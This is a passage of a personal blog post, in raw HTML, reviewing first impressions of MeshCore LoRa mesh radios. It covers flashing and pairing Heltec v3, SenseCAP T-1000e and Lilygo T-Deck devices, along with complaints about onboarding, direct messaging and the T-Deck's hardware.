&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/heltecv3.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/heltecv3_hu_44812e95e8f034f3.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/heltecv3_hu_83fb25c663b876f5.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/heltecv3_hu_a58a9737562f4a81.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/heltecv3_hu_6de83a23385781ab.webp 1200w, https://mtlynch.io/first-impressions-of-meshcore/heltecv3.webp 1600w'
 src="https://mtlynch.io/first-impressions-of-meshcore/heltecv3.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>At $27, the Heltec v3 is the cheapest MeshCore-compatible device I could find.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I connected the Heltec v3 to my computer via the USB-C port and used the &lt;a href="https://flasher.meshcore.co.uk/">MeshCore web flasher&lt;/a> to flash the latest firmware. I selected &amp;ldquo;Heltec v3&amp;rdquo; as my device, &amp;ldquo;Companion Bluetooth&amp;rdquo; as the mode, and &amp;ldquo;v1.9.0&amp;rdquo; as the version. I clicked &amp;ldquo;Erase device&amp;rdquo; since this was a fresh install.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/heltec-web-flasher.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/heltec-web-flasher_hu_b2493dd0665b422f.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/heltec-web-flasher_hu_35fa85ccace2ad56.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/heltec-web-flasher_hu_8832bbf0fe1e077a.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/heltec-web-flasher.webp 949w'
 src="https://mtlynch.io/first-impressions-of-meshcore/heltec-web-flasher.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Then, I used the &lt;a href="https://app.meshcore.nz/">MeshCore web app&lt;/a> to pair the Heltec with my phone over Bluetooth.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 














 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/connect.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/connect_hu_f40ddb16a01b5b90.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/connect_hu_d3b7fd00b30eb513.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/connect_hu_4defd4d36a917e94.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/connect.webp 1066w'
 src="https://mtlynch.io/first-impressions-of-meshcore/connect.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>
















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/wants-to-pair.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/wants-to-pair_hu_1b03e6bb4bb999af.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/wants-to-pair_hu_574bbda403d65fe.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/wants-to-pair_hu_4839ff00195c0fee.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/wants-to-pair.webp 1034w'
 src="https://mtlynch.io/first-impressions-of-meshcore/wants-to-pair.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>
















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 304px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/pin.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 304px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/pin_hu_1b3d2fe7dbb9fd3c.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/pin_hu_13e4d988ed885b59.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/pin_hu_d9ecc8f29782002.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/pin.webp 1050w'
 src="https://mtlynch.io/first-impressions-of-meshcore/pin.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>




 &lt;/div>
 
&lt;/figure>

&lt;h2 id="fumbling-around-the-meshcore-web-app">Fumbling around the MeshCore web app&lt;/h2>
&lt;p>Okay, I&amp;rsquo;ve paired my phone with my MeshCore device, but&amp;hellip; now what?&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 304px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/paired.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 304px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/paired_hu_c0ffd7ae96919c8f.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/paired_hu_7df6b74cf071b7d9.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/paired_hu_1a312f2019ce1d1a.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/paired.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/paired.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The app doesn&amp;rsquo;t help me out much in terms of onboarding.&lt;/p>
&lt;p>I try clicking &amp;ldquo;Map&amp;rdquo; to see if there are any other MeshCore users nearby.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 304px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/map-nz.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 304px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/map-nz_hu_85789a93c9ec0fbe.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/map-nz_hu_c3d426f99a7e3b34.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/map-nz_hu_9edc5c21920e4604.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/map-nz.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/map-nz.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Okay, that&amp;rsquo;s a map of New Zealand. I live in the US, so that&amp;rsquo;s a bit surprising. Even if I explore the map, I don&amp;rsquo;t see any MeshCore activity anywhere, so I don&amp;rsquo;t know what the map is supposed to do.&lt;/p>
&lt;p>The map of New Zealand reminded me that different countries use different radio frequencies for LoRa, and if the app defaults to New Zealand&amp;rsquo;s location, it&amp;rsquo;s probably defaulting to New Zealand broadcast frequencies as well.&lt;/p>
&lt;p>I went to settings and saw fields for &amp;ldquo;Radio Settings,&amp;rdquo; and I clicked them expecting a dropdown, but it expects me to enter a number. And then I noticed a subtle &amp;ldquo;Choose Preset&amp;rdquo; button, which listed presets for different countries that were &amp;ldquo;suggested by the community.&amp;rdquo; I had no idea what any of them meant, but who am I to argue with the community? I chose &amp;ldquo;USA/Canada (Recommended).&amp;rdquo;&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 














 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/settings1.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/settings1_hu_64f6d2acb233a0d2.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/settings1_hu_caf39428cdcfe3d.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/settings1_hu_4ce4194b7f1f6092.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/settings1.webp 1070w'
 src="https://mtlynch.io/first-impressions-of-meshcore/settings1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>
















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/settings2.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/settings2_hu_20c16550988335d0.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/settings2_hu_b988410031966fab.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/settings2_hu_512194ba367fe444.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/settings2.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/settings2.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>




 &lt;/div>
 
&lt;/figure>

&lt;p>I also noticed that the settings let me change my device name, so that seemed useful:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/device-name.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/device-name_hu_44ee7127839e30.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/device-name_hu_73692e84ac0de219.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/device-name_hu_be6862b68d728897.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/device-name.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/device-name.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It seemed like there were no other MeshCore users within range of me, which I expected. That&amp;rsquo;s why I bought the second Heltec.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/no-contacts.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/no-contacts_hu_74a2fd60ebd4158a.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/no-contacts_hu_7215752a97b0a7ed.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/no-contacts_hu_7dd25e6ebd281f8f.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/no-contacts.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/no-contacts.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I repeated the process with an old phone and my second Heltec v3, but they couldn&amp;rsquo;t see each other. I eventually realized that I&amp;rsquo;d forgotten to configure my second device for the US frequency. This is another reason I wish the MeshCore app took initial onboarding more seriously.&lt;/p>
&lt;p>Okay, they finally see each other! They can both publish messages to the public channel.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 280px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/public-channel.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 280px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/public-channel_hu_48c513fd51e6069c.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/public-channel_hu_e8c449aef42dcf59.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/public-channel_hu_c8ee23ce778505c.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/public-channel.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/public-channel.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My devices could finally talk to each other over a public channel.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="figuring-out-direct-messaging">Figuring out direct messaging&lt;/h2>
&lt;p>If I communicate with friends over MeshCore, I don&amp;rsquo;t want to broadcast our whole conversation over the public channel, so it was time to test out direct messaging.&lt;/p>
&lt;p>I expected some way to view a contact in the public channel and send them a direct message, but I couldn&amp;rsquo;t. Clicking their name did nothing. There&amp;rsquo;s a &amp;ldquo;Participants&amp;rdquo; view, but the only option is to block, not send a direct message.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/participants-view.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/participants-view_hu_b3ad9075f12d64e.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/participants-view_hu_9f05a631ddde25af.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/participants-view_hu_15796ad57a0541a4.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/participants-view.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/participants-view.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This seems like an odd design choice. If a MeshCore user posts to the public channel, why can&amp;rsquo;t I talk to them?&lt;/p>
&lt;p>I eventually figured out that I have to &amp;ldquo;Advert.&amp;rdquo; There are three options: &amp;ldquo;Zero Hop,&amp;rdquo; &amp;ldquo;Flood Routed,&amp;rdquo; and &amp;ldquo;To Clipboard.&amp;rdquo; I don&amp;rsquo;t know what any of these mean, but I figure &amp;ldquo;flood&amp;rdquo; sounds kind of rude, whereas &amp;ldquo;Zero Hop&amp;rdquo; sounds elegant, so I do a &amp;ldquo;Zero Hop.&amp;rdquo;&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 














 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/advert-options.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/advert-options_hu_4deb0bf55fb1d186.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/advert-options_hu_a210b263283fb331.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/advert-options_hu_7bbe4febd50fa630.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/advert-options.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/advert-options.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/advert-sent.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/advert-sent_hu_b7fc383e4b84d389.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/advert-sent_hu_7915a3b9011512b.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/advert-sent_hu_b14d520a10e2b049.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/advert-sent.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/advert-sent.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>




 &lt;/div>
 
&lt;/figure>

&lt;p>Great! Device 2 now sees device 1. Let&amp;rsquo;s say hi to Device 1 from Device 2.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/dm-failed.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/dm-failed_hu_8559ebde8fbfdd2d.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/dm-failed_hu_8ff7fab2f6099e61.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/dm-failed_hu_5a45ee95a9bf4322.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/dm-failed.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/dm-failed.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Whoops, what&amp;rsquo;s wrong? Maybe I need to &amp;ldquo;Advert&amp;rdquo; from Device 2 as well?&lt;/p>
&lt;p>Okay, I do, and voila! Messages now work.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/dm-succeeded.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/dm-succeeded_hu_2e084e4f6627cb32.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/dm-succeeded_hu_ea00dab1a2933367.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/dm-succeeded_hu_99e460ac4b9b180c.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/dm-succeeded.webp 1080w'
 src="https://mtlynch.io/first-impressions-of-meshcore/dm-succeeded.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This is a frustrating user experience. If I have to advert from both ends, why did MeshCore let me send a message on a half-completed handshake?&lt;/p>
&lt;p>I&amp;rsquo;m assuming &amp;ldquo;Advert&amp;rdquo; is me announcing my device&amp;rsquo;s public key, but I don&amp;rsquo;t understand why that&amp;rsquo;s an explicit step I have to do ahead of time. Why can&amp;rsquo;t MeshCore do that implicitly when I post to a public channel or attempt to send someone a direct message?&lt;/p>
&lt;p>Anyway, I can talk to myself in both public channels and DMs. Onward!&lt;/p>
&lt;h2 id="ordering-more-meshcore-devices">Ordering more MeshCore devices&lt;/h2>
&lt;p>The Heltec v3 boards were a good way to experiment with MeshCore, but they&amp;rsquo;re impractical for real-world scenarios. They require their own power source, and a phone to pair. I wanted to power it from my phone with a USB-C to USB-C cable, but the Heltec board wouldn&amp;rsquo;t power up from my phone. In a real emergency, that&amp;rsquo;s too many points of failure.&lt;/p>
&lt;p>The MeshCore website recommends two other MeshCore-compatible devices, so I ordered those: the Seeed SenseCAP T-1000e ($40) and the Lilygo T-Deck+ ($100).&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/t1000-and-lilygo.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/t1000-and-lilygo_hu_9334ae63200218dd.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/t1000-and-lilygo_hu_2e000c088e234035.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/t1000-and-lilygo_hu_bafec3a967f24bf7.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/t1000-and-lilygo_hu_4f8a4d2670446ea2.webp 1200w, https://mtlynch.io/first-impressions-of-meshcore/t1000-and-lilygo.webp 1600w'
 src="https://mtlynch.io/first-impressions-of-meshcore/t1000-and-lilygo.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I bought the Seeed SenseCAP T-1000e (left) and the Lilygo T-Deck+ (right) to continue experimenting with MeshCore.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="testing-the-sensecap-t-1000e">Testing the SenseCAP T-1000e&lt;/h2>
&lt;p>The T-1000e was a clear improvement over the Heltec v3. It&amp;rsquo;s self-contained and has its own battery and antenna, which feels simpler and more robust. It&amp;rsquo;s also nice and light. You could toss it into a backpack and not notice it&amp;rsquo;s there.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/t1000-hand.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/t1000-hand_hu_83085f666cf01667.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/t1000-hand_hu_f8796f7ad80d8aa0.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/t1000-hand_hu_8f708b88286bb50c.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/t1000-hand_hu_4705db1ecf250102.webp 1200w, https://mtlynch.io/first-impressions-of-meshcore/t1000-hand.webp 1600w'
 src="https://mtlynch.io/first-impressions-of-meshcore/t1000-hand.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The T-1000e feels like a more user-friendly product compared to the bare circuit board of the Heltec v3.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Annoyingly, the T-1000e uses a custom USB cable, so I can&amp;rsquo;t charge it or flash it from my computer with one of my standard USB cables:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/t1000-cable.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/t1000-cable_hu_e7f0b77db0bc9dba.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/t1000-cable_hu_b3d5819128050a96.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/t1000-cable_hu_fe61fea54dcce4ab.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/t1000-cable_hu_f34e931a9d428394.webp 1200w, https://mtlynch.io/first-impressions-of-meshcore/t1000-cable.webp 1200w'
 src="https://mtlynch.io/first-impressions-of-meshcore/t1000-cable.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The Seeed T-1000e uses a custom USB cable for charging and flashing.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I used the web flasher for the Heltec, but I decided to try flashing the T-1000e directly from source:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git clone https://github.com/meshcore-dev/MeshCore.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Latest firmware version at the time I tested.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">FIRMWARE_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;companion-v1.9.0&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git checkout &lt;span style="color:#40ffff">$FIRMWARE_VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I use Nix, and the repo conveniently has a &lt;code>default.nix&lt;/code>, so the dependencies installed automatically with &lt;code>direnv&lt;/code>. I then flashed the firmware for the T-1000e like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Specify the device settings, from variants/t1000-e/platformio.ini.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DEVICE_SETTINGS&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;t1000e_companion_radio_ble&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pio run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --environment &lt;span style="color:#40ffff">$DEVICE_SETTINGS&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --target upload &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --upload-port /dev/ttyACM0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From there, I paired the T-1000e with my phone, and it was basically the same as using the Heltec. The only difference was that the T-1000e has no screen, so it defaults to the Bluetooth pairing password of &lt;code>123456&lt;/code>. Does that mean anyone within Bluetooth range can trivially take over my T-1000e and read all my messages?&lt;/p>
&lt;p>It also seems impossible to turn off the T-1000e, which is undesirable for a broadcasting device. The manufacturer &lt;a href="https://wiki.seeedstudio.com/sensecap_t1000_e/">advises users&lt;/a> to just leave it unplugged for several days until the battery runs out.&lt;/p>
&lt;p>&lt;strong>Update&lt;/strong>: MeshCore contributor &lt;a href="https://fris.de/">Frieder Schrempf&lt;/a> just &lt;a href="https://mastodon.social/@frisch/115651352440724135">fixed this&lt;/a> in commit &lt;a href="https://github.com/meshcore-dev/MeshCore/commit/07e7e2d44bfd68abbe87f73a853b04d76b37ddf5">07e7e2d&lt;/a>, which is included in the v.1.11.0 MeshCore firmware. You can now power off the device by holding down the button at the top of the T-1000e.&lt;/p>
&lt;h2 id="testing-the-lilygo-t-deck">Testing the Lilygo T-Deck&lt;/h2>
&lt;p>Now it was time to test the Lilygo T-Deck.&lt;/p>
&lt;p>This was the part of MeshCore I&amp;rsquo;d been most excited about since the very beginning.&lt;/p>
&lt;p>If I handed my non-techy friends a device like the T-1000e, there were too many things that could go wrong in an actual emergency. &amp;ldquo;Oh, you don&amp;rsquo;t have the MeshCore app? Oh, you&amp;rsquo;re having trouble pairing it with your phone? Oh, your phone battery is dead?&amp;rdquo;&lt;/p>
&lt;p>The T-Deck looked like a 2000s era Blackberry. It seemed dead-simple to use because it was an all-in-one device: no phone pairing step or app to download. I wanted to buy a bunch, and hand them out to my friends. If society collapsed and our city fell into chaos, we&amp;rsquo;d still be able to chat on our doomsday hacker Blackberries like it was 2005.&lt;/p>
&lt;h3 id="this-is-not-a-blackberry">This is not a Blackberry&lt;/h3>
&lt;p>As soon as I turned on my T-Deck, my berry was burst. This was not a Blackberry at all.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/tdeck-first-screen-cropped.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/tdeck-first-screen-cropped_hu_84bdb8d93a6b3d57.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-first-screen-cropped_hu_cd8de88df9657b51.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-first-screen-cropped_hu_fb77d133a22d2937.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-first-screen-cropped_hu_57e6efd68cfc8217.webp 1200w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-first-screen-cropped.webp 1200w'
 src="https://mtlynch.io/first-impressions-of-meshcore/tdeck-first-screen-cropped.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>As a reminder, &lt;em>this&lt;/em> is what a Blackberry looked like in 2003:&lt;/p>













 















&lt;figure class="img" style="max-width: 290px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/blackberry-2003.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 290px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/blackberry-2003.webp 230w'
 src="https://mtlynch.io/first-impressions-of-meshcore/blackberry-2003.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A Blackberry smartphone in 2003&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Before I even get to the T-Deck software experience, the hardware itself is so big and clunky. We can&amp;rsquo;t match the quality of a hardware product that we produced &lt;em>22 years ago&lt;/em>?&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/tdeck-hand.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/tdeck-hand_hu_a81f50bc78b19664.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-hand_hu_a1450f894b62f54f.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-hand_hu_fb943263bcb0a416.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-hand_hu_db5a48366002b876.webp 1200w, https://mtlynch.io/first-impressions-of-meshcore/tdeck-hand.webp 1600w'
 src="https://mtlynch.io/first-impressions-of-meshcore/tdeck-hand.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Right off the bat, the T-Deck was a pain to use. You navigate the UI by clicking a flimsy little thumbwheel in the center of the device, but it&amp;rsquo;s temperamental and ignores half of my scrolls.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="flaky-scroll.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>

&lt;p>Good news: there&amp;rsquo;s a touchscreen. But the touchscreen misses half my taps:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="flaky-taps.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>

&lt;p>There are three ways to &amp;ldquo;click&amp;rdquo; a UI element. You can click the trackball, push the &amp;ldquo;Enter&amp;rdquo; key, or tap the screen. Which one does a particular UI element expect? You just have to try all three to find out!&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="how-to-interact.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>

